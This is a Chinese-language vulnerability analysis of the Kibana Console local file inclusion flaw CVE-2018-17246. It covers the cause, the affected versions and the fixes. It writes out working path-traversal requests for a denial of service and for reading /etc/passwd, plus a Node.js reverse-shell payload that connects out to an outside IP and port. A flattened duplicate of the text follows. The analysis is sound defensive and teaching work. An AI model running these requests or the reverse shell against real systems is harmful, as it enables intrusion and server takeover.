Elasticsearch核心插件Kibana本地文件包含漏洞分析(CVE-2018-17246)
字数 1423 2025-08-18 11:37:49

Kibana本地文件包含漏洞分析(CVE-2018-17246)教学文档

漏洞概述

CVE-2018-17246是Elasticsearch Kibana核心插件Console中存在的一个严重的本地文件包含(LFI)漏洞。该漏洞影响Kibana 6.4.3之前版本和5.6.13之前版本,可导致拒绝服务攻击、任意文件读取攻击,甚至配合第三方应用实现反弹SHELL攻击。

影响范围

  • Kibana版本:

    • 6.x系列:6.4.3之前的所有版本
    • 5.x系列:5.6.13之前的所有版本
  • 影响组件:Kibana中的Console插件

漏洞原理

漏洞污染点位于src/core_plugins/console/api_server/server.js中的Apis参数。攻击者提供的输入值被传递给参数name,而name变量的内容未经任何过滤直接被引入到require函数中。

在Node.js中,require函数用于加载模块:

  • 可以加载核心模块(如内置的"http")
  • 可以加载包含名为"index.js"的文件或目录
  • 如果参数以"/"开头,函数会知道该模块是文件或文件夹

由于缺乏输入验证和过滤,攻击者可以通过路径遍历技术指定任意文件,导致本地文件包含漏洞。

漏洞利用方式

1. 拒绝服务攻击(DoS)

攻击向量:通过加载包含process.exit指令的Node.js文件,导致Kibana进程退出。

示例

GET /api/console/api_server?apis=../../../../cli_plugin/index.js

效果

  • 客户端无法打开应用页面
  • 服务端Kibana进程退出,应用服务停止

2. 任意文件读取

攻击向量:通过路径遍历读取服务器上的任意文件。

示例(读取/etc/passwd):

GET /api/console/api_server?apis=../../../../../../../etc/passwd

效果

  • 客户端页面返回500错误
  • 服务端返回被读取文件的内容

3. 配合第三方应用反弹SHELL

前提条件:Kibana与其他应用程序一起部署,且该应用程序允许上传或写入JavaScript文件。

攻击步骤

  1. 攻击者上传包含反弹shell代码的JavaScript文件
  2. 通过路径遍历技术访问该文件
  3. 触发Node.js执行该文件,建立反向连接

反弹shell示例代码

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

利用方式

GET /api/console/api_server?apis=../../../../path/to/malicious.js

效果

  • 攻击者监听端口收到反向连接
  • 获得服务器交互式shell

漏洞分析

  1. 漏洞入口src/core_plugins/console/api_server/server.js中的Apis参数
  2. 污染传播:未过滤的name变量直接传递给require函数
  3. 文件加载机制
    • 正常流程是获取导出API类实例并调用asJson函数的JavaScript文件
    • 由于缺乏验证,可以指定任意文件
  4. 路径遍历:配合../../等路径遍历技术可访问服务器任意位置文件

修复建议

  1. 升级到Kibana安全版本:

    • 5.x系列升级到5.6.13或更高
    • 6.x系列升级到6.4.3或更高
  2. 临时缓解措施:

    • 限制对/api/console/api_server端点的访问
    • 实施输入验证,过滤路径遍历字符

总结

  1. 该漏洞展示了Node.js应用中本地文件包含漏洞的风险

  2. 与PHP中的LFI类似,但Node.js环境下的影响可能更为严重

  3. 漏洞可导致三种主要危害:

    • 服务拒绝
    • 敏感信息泄露
    • 远程代码执行(配合文件上传)
  4. 开发人员应重视Node.js应用中的输入验证,特别是涉及文件操作的场景

参考资源

  1. 官方安全公告
  2. Node.js反向shell示例
  3. Kibana官方升级指南
Kibana本地文件包含漏洞分析(CVE-2018-17246)教学文档 漏洞概述 CVE-2018-17246是Elasticsearch Kibana核心插件Console中存在的一个严重的本地文件包含(LFI)漏洞。该漏洞影响Kibana 6.4.3之前版本和5.6.13之前版本,可导致拒绝服务攻击、任意文件读取攻击,甚至配合第三方应用实现反弹SHELL攻击。 影响范围 Kibana版本: 6.x系列:6.4.3之前的所有版本 5.x系列:5.6.13之前的所有版本 影响组件:Kibana中的Console插件 漏洞原理 漏洞污染点位于 src/core_plugins/console/api_server/server.js 中的Apis参数。攻击者提供的输入值被传递给参数name,而name变量的内容未经任何过滤直接被引入到require函数中。 在Node.js中,require函数用于加载模块: 可以加载核心模块(如内置的"http") 可以加载包含名为"index.js"的文件或目录 如果参数以"/"开头,函数会知道该模块是文件或文件夹 由于缺乏输入验证和过滤,攻击者可以通过路径遍历技术指定任意文件,导致本地文件包含漏洞。 漏洞利用方式 1. 拒绝服务攻击(DoS) 攻击向量 :通过加载包含 process.exit 指令的Node.js文件,导致Kibana进程退出。 示例 : 效果 : 客户端无法打开应用页面 服务端Kibana进程退出,应用服务停止 2. 任意文件读取 攻击向量 :通过路径遍历读取服务器上的任意文件。 示例 (读取/etc/passwd): 效果 : 客户端页面返回500错误 服务端返回被读取文件的内容 3. 配合第三方应用反弹SHELL 前提条件 :Kibana与其他应用程序一起部署,且该应用程序允许上传或写入JavaScript文件。 攻击步骤 : 攻击者上传包含反弹shell代码的JavaScript文件 通过路径遍历技术访问该文件 触发Node.js执行该文件,建立反向连接 反弹shell示例代码 : 利用方式 : 效果 : 攻击者监听端口收到反向连接 获得服务器交互式shell 漏洞分析 漏洞入口 : src/core_plugins/console/api_server/server.js 中的Apis参数 污染传播 :未过滤的name变量直接传递给require函数 文件加载机制 : 正常流程是获取导出API类实例并调用asJson函数的JavaScript文件 由于缺乏验证,可以指定任意文件 路径遍历 :配合 ../../ 等路径遍历技术可访问服务器任意位置文件 修复建议 升级到Kibana安全版本: 5.x系列升级到5.6.13或更高 6.x系列升级到6.4.3或更高 临时缓解措施: 限制对 /api/console/api_server 端点的访问 实施输入验证,过滤路径遍历字符 总结 该漏洞展示了Node.js应用中本地文件包含漏洞的风险 与PHP中的LFI类似,但Node.js环境下的影响可能更为严重 漏洞可导致三种主要危害: 服务拒绝 敏感信息泄露 远程代码执行(配合文件上传) 开发人员应重视Node.js应用中的输入验证,特别是涉及文件操作的场景 参考资源 官方安全公告 Node.js反向shell示例 Kibana官方升级指南